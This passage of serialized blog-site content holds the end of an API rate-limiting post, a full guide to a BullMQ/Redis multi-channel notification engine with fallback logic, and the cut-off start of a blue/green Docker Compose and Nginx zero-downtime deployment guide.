429 Too Many Requests\n",[26,3676,3677],{"class":28,"line":35},[26,3678,3679],{},"Retry-After: 32\n",[26,3681,3682],{"class":28,"line":41},[26,3683,3684],{},"X-RateLimit-Limit: 60\n",[26,3686,3687],{"class":28,"line":170},[26,3688,3689],{},"X-RateLimit-Remaining: 0\n",[26,3691,3692],{"class":28,"line":176},[26,3693,3694],{},"X-RateLimit-Reset: 1773489240\n",[26,3696,3697],{"class":28,"line":182},[26,3698,3699],{},"Content-Type: application\u002Fjson\n",[26,3701,3702],{"class":28,"line":188},[26,3703,428],{"emptyLinePlaceholder":294},[26,3705,3706],{"class":28,"line":470},[26,3707,1003],{},[26,3709,3710],{"class":28,"line":476},[26,3711,3712],{},"  \"error\": \"Too Many Requests\",\n",[26,3714,3715],{"class":28,"line":482},[26,3716,3717],{},"  \"message\": \"Rate limit exceeded. Please retry in 32 seconds.\"\n",[26,3719,3720],{"class":28,"line":487},[26,3721,1067],{},[12,3723,3724],{},"This ensures honest third-party API clients and mobile SDKs can automatically back off and retry without overwhelming your infrastructure.",[274,3726,3727],{},"html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":21,"searchDepth":35,"depth":35,"links":3729},[3730,3735,3736],{"id":3151,"depth":35,"text":3152,"children":3731},[3732,3733,3734],{"id":3155,"depth":41,"text":3156},{"id":3166,"depth":41,"text":3167},{"id":3181,"depth":41,"text":3182},{"id":3190,"depth":35,"text":3191},{"id":3660,"depth":35,"text":3661},"2026-09-14","Comparing rate-limiting algorithms to protect your backend against scrapers, credential stuffing, and bot spam with minimal latency overhead.",{},"\u002Fblog\u002Fen\u002Fapi-rate-limiting-redis",{"title":3128,"description":3738},"api-rate-limiting-redis","blog\u002Fen\u002Fapi-rate-limiting-redis",[3745,300,3746,3747,3748],"api","redis","backend","performance","KXTsuQOwj895dkbCDObhyO_wOncRKtB2ufJbjc-AUyc",{"id":3751,"title":3752,"author":7,"body":3753,"date":4506,"description":4507,"extension":290,"featured":291,"image":292,"meta":4508,"navigation":294,"path":4509,"readingTime":188,"seo":4510,"slug":4511,"stem":4512,"tags":4513,"__hash__":4517},"blog\u002Fblog\u002Fen\u002Fmulti-channel-notification-engine.md","Building a Resilient Multi-Channel Notification Engine (Email, SMS, Web Push)",{"type":9,"value":3754,"toc":4498},[3755,3762,3765,3772,3774,3778,3781,3787,3789,3793,3796,3816,3820,3919,3933,3935,3939,4461,4463,4467,4495],[12,3756,3757,3758,3761],{},"Sending an email or SMS directly inside an HTTP request handler (",[23,3759,3760],{},"await sendEmail(...)",") is an accident waiting to happen. If the third-party email API hangs for 10 seconds, your user's checkout button hangs for 10 seconds.",[12,3763,3764],{},"Worse, users have different communication preferences: some want order updates via WhatsApp or SMS, while others prefer email. If an SMS fails to deliver due to carrier issues, how does your system automatically fall back to email?",[12,3766,3767,3768,3771],{},"In this article, we'll architect a ",[49,3769,3770],{},"resilient, decoupled multi-channel notification engine"," powered by Redis job queues and prioritized channel dispatchers.",[61,3773],{},[64,3775,3777],{"id":3776},"_1-high-level-event-driven-architecture","1. High-Level Event-Driven Architecture",[12,3779,3780],{},"Instead of coupling application features to specific notification providers, the application emits an abstract domain event:",[16,3782,3785],{"className":3783,"code":3784,"language":349,"meta":21},[347],"[Order Service] ──► Emits Event: \"order.placed\"\n                          │\n                          ▼\n             [Notification Queue (Redis \u002F BullMQ)]\n                          │\n                          ▼\n            [Notification Worker Processor]\n             1. Load User Channel Preferences (Email? SMS? Push?)\n             2. Check Rate Limits & Do-Not-Disturb Quiet Hours\n             3. Render Channel-Specific Templates\n             4. Dispatch with Fallback Escalation\n",[23,3786,3784],{"__ignoreMap":21},[61,3788],{},[64,3790,3792],{"id":3791},"_2-defining-channel-priority-and-fallback-logic","2. Defining Channel Priority and Fallback Logic",[12,3794,3795],{},"Not all channels carry the same urgency or cost:",[198,3797,3798,3804,3810],{},[201,3799,3800,3803],{},[49,3801,3802],{},"Web Push \u002F In-App Notification",": Free, instantaneous, but only works if the user is online.",[201,3805,3806,3809],{},[49,3807,3808],{},"Email",": Very low cost ($0.0001), high reliability, ideal for receipts and long-form details.",[201,3811,3812,3815],{},[49,3813,3814],{},"SMS \u002F WhatsApp",": High cost ($0.03 - $0.08), high open rate, reserved for critical alerts (2FA codes, payment failures).",[193,3817,3819],{"id":3818},"fallback-matrix-example","Fallback Matrix Example:",[16,3821,3823],{"className":366,"code":3822,"language":368,"meta":21,"style":21},"interface NotificationPayload {\n  userId: string\n  event: 'payment.failed' | 'order.delivered' | 'security.login_alert'\n  channels: Array\u003C'push' | 'sms' | 'email'>\n  data: Record\u003Cstring, any>\n}\n",[23,3824,3825,3835,3845,3866,3893,3915],{"__ignoreMap":21},[26,3826,3827,3830,3833],{"class":28,"line":29},[26,3828,3829],{"class":375},"interface",[26,3831,3832],{"class":446}," NotificationPayload",[26,3834,515],{"class":379},[26,3836,3837,3840,3842],{"class":28,"line":35},[26,3838,3839],{"class":692},"  userId",[26,3841,76],{"class":375},[26,3843,3844],{"class":436}," string\n",[26,3846,3847,3850,3852,3855,3858,3861,3863],{"class":28,"line":41},[26,3848,3849],{"class":692},"  event",[26,3851,76],{"class":375},[26,3853,3854],{"class":386}," 'payment.failed'",[26,3856,3857],{"class":375}," |",[26,3859,3860],{"class":386}," 'order.delivered'",[26,3862,3857],{"class":375},[26,3864,3865],{"class":386}," 'security.login_alert'\n",[26,3867,3868,3871,3873,3876,3878,3881,3883,3886,3888,3891],{"class":28,"line":170},[26,3869,3870],{"class":692},"  channels",[26,3872,76],{"class":375},[26,3874,3875],{"class":446}," Array",[26,3877,1521],{"class":379},[26,3879,3880],{"class":386},"'push'",[26,3882,3857],{"class":375},[26,3884,3885],{"class":386}," 'sms'",[26,3887,3857],{"class":375},[26,3889,3890],{"class":386}," 'email'",[26,3892,1528],{"class":379},[26,3894,3895,3898,3900,3903,3905,3908,3910,3913],{"class":28,"line":176},[26,3896,3897],{"class":692},"  data",[26,3899,76],{"class":375},[26,3901,3902],{"class":446}," Record",[26,3904,1521],{"class":379},[26,3906,3907],{"class":436},"string",[26,3909,129],{"class":379},[26,3911,3912],{"class":436},"any",[26,3914,1528],{"class":379},[26,3916,3917],{"class":28,"line":182},[26,3918,1067],{"class":379},[12,3920,3921,3922,3925,3926,263,3929,3932],{},"If the primary channel (",[23,3923,3924],{},"push",") does not receive a delivery confirmation within 60 seconds, the worker automatically queues an escalation job to the fallback channel (",[23,3927,3928],{},"email",[23,3930,3931],{},"sms",").",[61,3934],{},[64,3936,3938],{"id":3937},"_3-worker-implementation-with-bullmq-redis","3. Worker Implementation with BullMQ & Redis",[16,3940,3942],{"className":366,"code":3941,"language":368,"meta":21,"style":21},"import { Worker, Queue } from 'bullmq'\nimport { sendPushNotification } from '.\u002Fproviders\u002Fwebpush'\nimport { sendEmailNotification } from '.\u002Fproviders\u002Fresend'\nimport { sendSmsNotification } from '.\u002Fproviders\u002Ftwilio'\n\nexport const notificationQueue = new Queue('notifications', {\n  connection: { host: 'localhost', port: 6379 }\n})\n\nexport const notificationWorker = new Worker('notifications', async (job) => {\n  const { userId, event, channel, payload, attempt = 1 } = job.data\n  const user = await db.users.findById(userId)\n\n  \u002F\u002F Check user channel preferences and quiet hours\n  if (!user.notificationsEnabled || !user.preferredChannels.includes(channel)) {\n    return { skipped: true, reason: 'user_opt_out' }\n  }\n\n  try {\n    switch (channel) {\n      case 'push':\n        return await sendPushNotification(user.pushSubscription, payload)\n      case 'email':\n        return await sendEmailNotification(user.email, payload)\n      case 'sms':\n        return await sendSmsNotification(user.phone, payload)\n    }\n  } catch (error) {\n    console.error(`Failed sending via ${channel}. Initiating fallback...`, error)\n\n    \u002F\u002F Fallback escalation logic\n    if (channel === 'sms') {\n      await notificationQueue.add('fallback-email', {\n        userId,\n        event,\n        channel: 'email',\n        payload: { ...payload, note: 'Sent via email because SMS failed.' }\n      })\n    }\n    throw error\n  }\n}, {\n  connection: { host: 'localhost', port: 6379 },\n  limiter: {\n    max: 100, \u002F\u002F Maximum 100 notifications dispatched per second to respect provider rate limits\n    duration: 1000\n  }\n})\n",[23,3943,3944,3956,3968,3980,3992,3996,4021,4037,4041,4045,4080,4120,4140,4144,4149,4174,4191,4195,4199,4206,4214,4224,4237,4245,4257,4265,4277,4281,4292,4313,4317,4322,4336,4354,4359,4364,4374,4390,4395,4399,4407,4411,4416,4428,4433,4445,4453,4457],{"__ignoreMap":21},[26,3945,3946,3948,3951,3953],{"class":28,"line":29},[26,3947,376],{"class":375},[26,3949,3950],{"class":379}," { Worker, Queue } ",[26,3952,383],{"class":375},[26,3954,3955],{"class":386}," 'bullmq'\n",[26,3957,3958,3960,3963,3965],{"class":28,"line":35},[26,3959,376],{"class":375},[26,3961,3962],{"class":379}," { sendPushNotification } ",[26,3964,383],{"class":375},[26,3966,3967],{"class":386}," '.\u002Fproviders\u002Fwebpush'\n",[26,3969,3970,3972,3975,3977],{"class":28,"line":41},[26,3971,376],{"class":375},[26,3973,3974],{"class":379}," { sendEmailNotification } ",[26,3976,383],{"class":375},[26,3978,3979],{"class":386}," '.\u002Fproviders\u002Fresend'\n",[26,3981,3982,3984,3987,3989],{"class":28,"line":170},[26,3983,376],{"class":375},[26,3985,3986],{"class":379}," { sendSmsNotification } ",[26,3988,383],{"class":375},[26,3990,3991],{"class":386}," '.\u002Fproviders\u002Ftwilio'\n",[26,3993,3994],{"class":28,"line":176},[26,3995,428],{"emptyLinePlaceholder":294},[26,3997,3998,4000,4003,4006,4008,4010,4013,4015,4018],{"class":28,"line":182},[26,3999,1220],{"class":375},[26,4001,4002],{"class":375}," const",[26,4004,4005],{"class":436}," notificationQueue",[26,4007,440],{"class":375},[26,4009,443],{"class":375},[26,4011,4012],{"class":446}," Queue",[26,4014,892],{"class":379},[26,4016,4017],{"class":386},"'notifications'",[26,4019,4020],{"class":379},", {\n",[26,4022,4023,4026,4029,4032,4035],{"class":28,"line":188},[26,4024,4025],{"class":379},"  connection: { host: ",[26,4027,4028],{"class":386},"'localhost'",[26,4030,4031],{"class":379},", port: ",[26,4033,4034],{"class":436},"6379",[26,4036,615],{"class":379},[26,4038,4039],{"class":28,"line":470},[26,4040,663],{"class":379},[26,4042,4043],{"class":28,"line":476},[26,4044,428],{"emptyLinePlaceholder":294},[26,4046,4047,4049,4051,4054,4056,4058,4061,4063,4065,4067,4069,4071,4074,4076,4078],{"class":28,"line":482},[26,4048,1220],{"class":375},[26,4050,4002],{"class":375},[26,4052,4053],{"class":436}," notificationWorker",[26,4055,440],{"class":375},[26,4057,443],{"class":375},[26,4059,4060],{"class":446}," Worker",[26,4062,892],{"class":379},[26,4064,4017],{"class":386},[26,4066,129],{"class":379},[26,4068,506],{"class":375},[26,4070,689],{"class":379},[26,4072,4073],{"class":692},"job",[26,4075,696],{"class":379},[26,4077,512],{"class":375},[26,4079,515],{"class":379},[26,4081,4082,4084,4086,4089,4091,4094,4096,4099,4101,4104,4106,4109,4111,4113,4115,4117],{"class":28,"line":487},[26,4083,2080],{"class":375},[26,4085,727],{"class":379},[26,4087,4088],{"class":436},"userId",[26,4090,129],{"class":379},[26,4092,4093],{"class":436},"event",[26,4095,129],{"class":379},[26,4097,4098],{"class":436},"channel",[26,4100,129],{"class":379},[26,4102,4103],{"class":436},"payload",[26,4105,129],{"class":379},[26,4107,4108],{"class":436},"attempt",[26,4110,440],{"class":375},[26,4112,3637],{"class":436},[26,4114,743],{"class":379},[26,4116,746],{"class":375},[26,4118,4119],{"class":379}," job.data\n",[26,4121,4122,4124,4127,4129,4131,4134,4137],{"class":28,"line":494},[26,4123,2080],{"class":375},[26,4125,4126],{"class":436}," user",[26,4128,440],{"class":375},[26,4130,768],{"class":375},[26,4132,4133],{"class":379}," db.users.",[26,4135,4136],{"class":446},"findById",[26,4138,4139],{"class":379},"(userId)\n",[26,4141,4142],{"class":28,"line":518},[26,4143,428],{"emptyLinePlaceholder":294},[26,4145,4146],{"class":28,"line":526},[26,4147,4148],{"class":490},"  \u002F\u002F Check user channel preferences and quiet hours\n",[26,4150,4151,4153,4155,4157,4160,4162,4165,4168,4171],{"class":28,"line":532},[26,4152,706],{"class":375},[26,4154,689],{"class":379},[26,4156,3242],{"class":375},[26,4158,4159],{"class":379},"user.notificationsEnabled ",[26,4161,3523],{"class":375},[26,4163,4164],{"class":375}," !",[26,4166,4167],{"class":379},"user.preferredChannels.",[26,4169,4170],{"class":446},"includes",[26,4172,4173],{"class":379},"(channel)) {\n",[26,4175,4176,4178,4181,4183,4186,4189],{"class":28,"line":538},[26,4177,800],{"class":375},[26,4179,4180],{"class":379}," { skipped: ",[26,4182,1296],{"class":436},[26,4184,4185],{"class":379},", reason: ",[26,4187,4188],{"class":386},"'user_opt_out'",[26,4190,615],{"class":379},[26,4192,4193],{"class":28,"line":550},[26,4194,657],{"class":379},[26,4196,4197],{"class":28,"line":561},[26,4198,428],{"emptyLinePlaceholder":294},[26,4200,4201,4204],{"class":28,"line":567},[26,4202,4203],{"class":375},"  try",[26,4205,515],{"class":379},[26,4207,4208,4211],{"class":28,"line":578},[26,4209,4210],{"class":375},"    switch",[26,4212,4213],{"class":379}," (channel) {\n",[26,4215,4216,4219,4222],{"class":28,"line":584},[26,4217,4218],{"class":375},"      case",[26,4220,4221],{"class":386}," 'push'",[26,4223,2562],{"class":379},[26,4225,4226,4229,4231,4234],{"class":28,"line":601},[26,4227,4228],{"class":375},"        return",[26,4230,768],{"class":375},[26,4232,4233],{"class":446}," sendPushNotification",[26,4235,4236],{"class":379},"(user.pushSubscription, payload)\n",[26,4238,4239,4241,4243],{"class":28,"line":618},[26,4240,4218],{"class":375},[26,4242,3890],{"class":386},[26,4244,2562],{"class":379},[26,4246,4247,4249,4251,4254],{"class":28,"line":624},[26,4248,4228],{"class":375},[26,4250,768],{"class":375},[26,4252,4253],{"class":446}," sendEmailNotification",[26,4255,4256],{"class":379},"(user.email, payload)\n",[26,4258,4259,4261,4263],{"class":28,"line":636},[26,4260,4218],{"class":375},[26,4262,3885],{"class":386},[26,4264,2562],{"class":379},[26,4266,4267,4269,4271,4274],{"class":28,"line":642},[26,4268,4228],{"class":375},[26,4270,768],{"class":375},[26,4272,4273],{"class":446}," sendSmsNotification",[26,4275,4276],{"class":379},"(user.phone, payload)\n",[26,4278,4279],{"class":28,"line":648},[26,4280,868],{"class":379},[26,4282,4283,4286,4289],{"class":28,"line":654},[26,4284,4285],{"class":379},"  } ",[26,4287,4288],{"class":375},"catch",[26,4290,4291],{"class":379}," (error) {\n",[26,4293,4294,4297,4300,4302,4305,4307,4310],{"class":28,"line":660},[26,4295,4296],{"class":379},"    console.",[26,4298,4299],{"class":446},"error",[26,4301,892],{"class":379},[26,4303,4304],{"class":386},"`Failed sending via ${",[26,4306,4098],{"class":379},[26,4308,4309],{"class":386},"}. Initiating fallback...`",[26,4311,4312],{"class":379},", error)\n",[26,4314,4315],{"class":28,"line":666},[26,4316,428],{"emptyLinePlaceholder":294},[26,4318,4319],{"class":28,"line":671},[26,4320,4321],{"class":490},"    \u002F\u002F Fallback escalation logic\n",[26,4323,4324,4327,4330,4332,4334],{"class":28,"line":677},[26,4325,4326],{"class":375},"    if",[26,4328,4329],{"class":379}," (channel ",[26,4331,712],{"class":375},[26,4333,3885],{"class":386},[26,4335,718],{"class":379},[26,4337,4338,4341,4344,4347,4349,4352],{"class":28,"line":703},[26,4339,4340],{"class":375},"      await",[26,4342,4343],{"class":379}," notificationQueue.",[26,4345,4346],{"class":446},"add",[26,4348,892],{"class":379},[26,4350,4351],{"class":386},"'fallback-email'",[26,4353,4020],{"class":379},[26,4355,4356],{"class":28,"line":721},[26,4357,4358],{"class":379},"        userId,\n",[26,4360,4361],{"class":28,"line":758},[26,4362,4363],{"class":379},"        event,\n",[26,4365,4366,4369,4372],{"class":28,"line":780},[26,4367,4368],{"class":379},"        channel: ",[26,4370,4371],{"class":386},"'email'",[26,4373,547],{"class":379},[26,4375,4376,4379,4382,4385,4388],{"class":28,"line":786},[26,4377,4378],{"class":379},"        payload: { ",[26,4380,4381],{"class":375},"...",[26,4383,4384],{"class":379},"payload, note: ",[26,4386,4387],{"class":386},"'Sent via email because SMS failed.'",[26,4389,615],{"class":379},[26,4391,4392],{"class":28,"line":792},[26,4393,4394],{"class":379},"      })\n",[26,4396,4397],{"class":28,"line":797},[26,4398,868],{"class":379},[26,4400,4401,4404],{"class":28,"line":805},[26,4402,4403],{"class":375},"    throw",[26,4405,4406],{"class":379}," error\n",[26,4408,4409],{"class":28,"line":811},[26,4410,657],{"class":379},[26,4412,4413],{"class":28,"line":817},[26,4414,4415],{"class":379},"}, {\n",[26,4417,4418,4420,4422,4424,4426],{"class":28,"line":827},[26,4419,4025],{"class":379},[26,4421,4028],{"class":386},[26,4423,4031],{"class":379},[26,4425,4034],{"class":436},[26,4427,467],{"class":379},[26,4429,4430],{"class":28,"line":854},[26,4431,4432],{"class":379},"  limiter: {\n",[26,4434,4435,4438,4440,4442],{"class":28,"line":859},[26,4436,4437],{"class":379},"    max: ",[26,4439,2241],{"class":436},[26,4441,129],{"class":379},[26,4443,4444],{"class":490},"\u002F\u002F Maximum 100 notifications dispatched per second to respect provider rate limits\n",[26,4446,4447,4450],{"class":28,"line":865},[26,4448,4449],{"class":379},"    duration: ",[26,4451,4452],{"class":436},"1000\n",[26,4454,4455],{"class":28,"line":871},[26,4456,657],{"class":379},[26,4458,4459],{"class":28,"line":876},[26,4460,663],{"class":379},[61,4462],{},[64,4464,4466],{"id":4465},"_4-architectural-rules-for-production","4. Architectural Rules for Production",[2488,4468,4469,4483,4489],{},[201,4470,4471,4474,4475,4478,4479,4482],{},[49,4472,4473],{},"Idempotency on Notifications",": Add an ",[23,4476,4477],{},"idempotencyKey"," like ",[23,4480,4481],{},"order_paid_12345_email",". If your worker restarts, BullMQ will never send duplicate emails to the customer.",[201,4484,4485,4488],{},[49,4486,4487],{},"Global Unsubscribe & Suppression Lists",": Always check against hard bounces and unsubscribed tags before invoking outbound network calls.",[201,4490,4491,4494],{},[49,4492,4493],{},"Template Versioning",": Keep email and SMS templates in version control rather than editing HTML in third-party dashboards.",[274,4496,4497],{},"html pre.shiki code .szBVR, html code.shiki .szBVR{--shiki-default:#D73A49;--shiki-dark:#F97583}html pre.shiki code .sScJk, html code.shiki .sScJk{--shiki-default:#6F42C1;--shiki-dark:#B392F0}html pre.shiki code .sVt8B, html code.shiki .sVt8B{--shiki-default:#24292E;--shiki-dark:#E1E4E8}html pre.shiki code .s4XuR, html code.shiki .s4XuR{--shiki-default:#E36209;--shiki-dark:#FFAB70}html pre.shiki code .sj4cs, html code.shiki .sj4cs{--shiki-default:#005CC5;--shiki-dark:#79B8FF}html pre.shiki code .sZZnC, html code.shiki .sZZnC{--shiki-default:#032F62;--shiki-dark:#9ECBFF}html .default .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .shiki span {color: var(--shiki-default);background: var(--shiki-default-bg);font-style: var(--shiki-default-font-style);font-weight: var(--shiki-default-font-weight);text-decoration: var(--shiki-default-text-decoration);}html .dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html.dark .shiki span {color: var(--shiki-dark);background: var(--shiki-dark-bg);font-style: var(--shiki-dark-font-style);font-weight: var(--shiki-dark-font-weight);text-decoration: var(--shiki-dark-text-decoration);}html pre.shiki code .sJ8bj, html code.shiki .sJ8bj{--shiki-default:#6A737D;--shiki-dark:#6A737D}",{"title":21,"searchDepth":35,"depth":35,"links":4499},[4500,4501,4504,4505],{"id":3776,"depth":35,"text":3777},{"id":3791,"depth":35,"text":3792,"children":4502},[4503],{"id":3818,"depth":41,"text":3819},{"id":3937,"depth":35,"text":3938},{"id":4465,"depth":35,"text":4466},"2026-09-13","Designing an asynchronous event pipeline that handles user notification preferences, rate limits, and fallback channels (e.g. if SMS fails, send email).",{},"\u002Fblog\u002Fen\u002Fmulti-channel-notification-engine",{"title":3752,"description":4507},"multi-channel-notification-engine","blog\u002Fen\u002Fmulti-channel-notification-engine",[4514,3747,4515,3746,4516],"architecture","queues","node","Vkx60MPht3OdgqJwPwD9sWYXPvDaLT2SDAD5JJlHYBE",{"id":4519,"title":4520,"author":7,"body":4521,"date":5208,"description":5209,"extension":290,"featured":291,"image":292,"meta":5210,"navigation":294,"path":5211,"readingTime":182,"seo":5212,"slug":5213,"stem":5214,"tags":5215,"__hash__":5217},"blog\u002Fblog\u002Fen\u002Fzero-downtime-docker-nginx.md","Zero-Downtime Deployments with Docker Compose & Nginx: A Practical Guide for Single-Server Setups",{"type":9,"value":4522,"toc":5201},[4523,4533,4547,4557,4559,4563,4577,4580,4586,4589,4621,4623,4629,4748,4750,4754,4760,5176,5178,5182,5198],[12,4524,4525,4526,4529,4530,76],{},"When deploying updates with standard ",[23,4527,4528],{},"docker compose up -d",", there is almost always a ",[49,4531,4532],{},"5 to 30 second window of downtime",[2488,4534,4535,4538,4541],{},[201,4536,4537],{},"Docker stops the old running container.",[201,4539,4540],{},"The new container boots, runs migrations, and connects to the database.",[201,4542,4543,4544,113],{},"During those 15 seconds, every user visiting your site sees a ",[23,4545,4546],{},"502 Bad Gateway",[12,4548,4549,4550,4553,4554,113],{},"You don't need the monstrous complexity of Kubernetes or multi-node clusters to achieve ",[49,4551,4552],{},"zero downtime",". You can deploy updates seamlessly on a simple $10\u002Fmonth VPS using ",[49,4555,4556],{},"Blue\u002FGreen Docker containers and Nginx reload",[61,4558],{},[64,4560,4562],{"id":4561},"_1-the-core-architecture","1. The Core Architecture",[12,4564,4565,4566,1011,4569,4572,4573,4576],{},"Instead of running a single application container, we configure two identical services in ",[23,4567,4568],{},"docker-compose.yml",[49,4570,4571],{},"Blue"," (port 3001) and ",[49,4574,4575],{},"Green"," (port 3002).",[12,4578,4579],{},"Nginx acts as a reverse proxy sitting in front of both containers:",[16,4581,4584],{"className":4582,"code":4583,"language":349,"meta":21},[347],"Incoming Traffic (Port 80\u002F443)\n              │\n              ▼\n       [Nginx Reverse Proxy]\n              │\n     (Points to ACTIVE port: 3001)\n              │\n       [App Blue: ACTIVE]        [App Green: IDLE]\n",[23,4585,4583],{"__ignoreMap":21},[12,4587,4588],{},"When deploying:",[2488,4590,4591,4598,4604,4607,4618],{},[201,4592,4593,4594,4597],{},"Boot the ",[49,4595,4596],{},"idle"," container (e.g. Green).",[201,4599,4600,4601,113],{},"Run health checks until Green returns ",[23,4602,4603],{},"HTTP 200 OK",[201,4605,4606],{},"Point Nginx to Green's port.",[201,4608,4609,4610,4613,4614,4617],{},"Run ",[23,4611,4612],{},"nginx -s reload"," (which gracefully reloads configuration in ",[49,4615,4616],{},"0 milliseconds"," without dropping active TCP connections).",[201,4619,4620],{},"Shut down Blue.",[61,4622],{},[64,4624,4626,4627],{"id":4625},"_2-the-bluegreen-docker-composeyml","2. The Blue\u002FGreen ",[23,4628,4568],{},[16,4630,4632],{"className":2537,"code":4631,"language":2539,"meta":21,"style":21},"services:\n  app-blue:\n    image: my-registry\u002Fapp:${VERSION:-latest}\n    environment:\n      - PORT=3000\n    ports:\n      - \"127.0.0.1:3001:3000\"\n    restart: unless-stopped\n\n  app-green:\n    image: my-registry\u002Fapp:${VERSION:-latest}\n    environment:\n      - PORT=3000\n    ports:\n      - \"127.0.0.1:3002:3000\"\n    restart: unless-stopped\n",[23,4633,4634,4641,4648,4658,4665,4672,4679,4686,4696,4700,4707,4715,4721,4727,4733,4740],{"__ignoreMap":21},[26,4635,4636,4639],{"class":28,"line":29},[26,4637,4638],{"class":1524},"services",[26,4640,2562],{"class":379},[26,4642,4643,4646],{"class":28,"line":35},[26,4644,4645],{"class":1524},"  app-blue",[26,4647,2562],{"class":379},[26,4649,4650,4653,4655],{"class":28,"line":41},[26,4651,4652],{"class":1524},"    image",[26,4654,1011],{"class":379},[26,4656,4657],{"class":386},"my-registry\u002Fapp:${VERSION:-latest}\n",[26,4659,4660,4663],{"class":28,"line":170},[26,4661,4662],{"class":1524},"    environment",[26,4664,2562],{"class":379},[26,4666,4667,4669],{"class":28,"line":176},[26,4668,2620],{"class":379},[26,4670,4671],{"class":386},"PORT=3000\n",[26,4673,4674,4677],{"class":28,"line":182},[26,4675,4676],{"class":1524},"    ports",[26,4678,2562],{"class":379},[26,4680,4681,4683],{"class":28,"line":188},[26,4682,2620],{"class":379},[26,4684,4685],{"class":386},"\"127.0.0.1:3001:3000\"\n",[26,4687,4688,4691,4693],{"class":28,"line":470},[26,4689,4690],{"class":1524},"    restart",[26,4692,1011],{"class":379},[26,4694,4695],{"class":386},"unless-stopped\n",[26,4697,4698],{"class":28,"line":476},[26,4699,428],{"emptyLinePlaceholder":294},[26,4701,4702,4705],{"class":28,"line":482},[26,4703,4704],{"class":1524},"  app-green",[26,4706,2562],{"class":379},[26,4708,4709,4711,4713],{"class":28,"line":487},[26,4710,4652],{"class":1524},[26,4712,1011],{"class":379},[26,4714,4657],{"class":386},[26,4716,4717,4719],{"class":28,"line":494},[26,4718,4662],{"class":1524},[26,4720,2562],{"class":379},[26,4722,4723,4725],{"class":28,"line":518},[26,4724,2620],{"class":379},[26,4726,4671],{"class":386},[26,4728,4729,4731],{"class":28,"line":526},[26,4730,4676],{"class":1524},[26,4732,2562],{"class":379},[26,4734,4735,4737],{"class":28,"line":532},[26,4736,2620],{"class":379},[26,4738,4739],{"class":386},"\"127.0.0.1:3002:3000\"\n",[26,4741,4742,4744,4746],{"class":28,"line":538},[26,4743,4690],{"class":1524},[26,4745,1011],{"class":379},[26,4747,4695],{"class":386},[61,4749],{},[64,4751,4753],{"id":4752},"_3-the-30-line-zero-downtime-deployment-script","3. The 30-Line Zero-Downtime Deployment Script",[12,4755,4756,4757,343],{},"Here is the production Bash deployment script (",[23,4758,4759],{},"deploy.sh",[16,4761,4765],{"className":4762,"code":4763,"language":4764,"meta":21,"style":21},"language-bash shiki shiki-themes github-light github-dark","#!\u002Fbin\u002Fbash\nset -e\n\n# Determine which service is currently running\nif grep -q \"3001\" \u002Fetc\u002Fnginx\u002Fconf.d\u002Fupstream.conf; then\n  CURRENT_COLOR=\"blue\"\n  TARGET_COLOR=\"green\"\n  TARGET_PORT=3002\nelse\n  CURRENT_COLOR=\"green\"\n  TARGET_COLOR=\"blue\"\n  TARGET_PORT=3001\nfi\n\necho \"🚀 Deploying $TARGET_COLOR on port $TARGET_PORT...\"\n\n# 1. Pull latest image and boot target container\ndocker compose pull app-$TARGET_COLOR\ndocker compose up -d app-$TARGET_COLOR\n\n# 2. Health check target container\necho \"⏳ Waiting for $TARGET_COLOR to become healthy...\"\nfor i in {1..30}; do\n  if curl -s http:\u002F\u002F127.0.0.1:$TARGET_PORT\u002Fapi\u002Fhealth | grep -q \"ok\"; then\n    echo \"✅ Health check passed!\"\n    break\n  fi\n  sleep 1\n  if [ $i -eq 30 ]; then\n    echo \"❌ Health check timed out! Aborting deployment.\"\n    docker compose stop app-$TARGET_COLOR\n    exit 1\n  fi\ndone\n\n# 3. Atomically switch Nginx upstream\necho \"upstream backend { server 127.0.0.1:$TARGET_PORT; }\" > \u002Fetc\u002Fnginx\u002Fconf.d\u002Fupstream.conf\nnginx -t && nginx -s reload\n\necho \"🎉 Traffic switched to $TARGET_COLOR. Stopping $CURRENT_COLOR...\"\ndocker compose stop app-$CURRENT_COLOR\n","bash",[23,4766,4767,4772,4780,4784,4789,4812,4822,4832,4842,4847,4855,4863,4872,4877,4881,4901,4905,4910,4926,4942,4946,4951,4963,4985,5016,5024,5029,5034,5042,5060,5067,5081,5088,5092,5097,5101,5106,5124,5142,5146,5163],{"__ignoreMap":21},[26,4768,4769],{"class":28,"line":29},[26,4770,4771],{"class":490},"#!\u002Fbin\u002Fbash\n",[26,4773,4774,4777],{"class":28,"line":35},[26,4775,4776],{"class":436},"set",[26,4778,4779],{"class":436}," -e\n",[26,4781,4782],{"class":28,"line":41},[26,4783,428],{"emptyLinePlaceholder":294},[26,4785,4786],{"class":28,"line":170},[26,4787,4788],{"class":490},"# Determine which service is currently 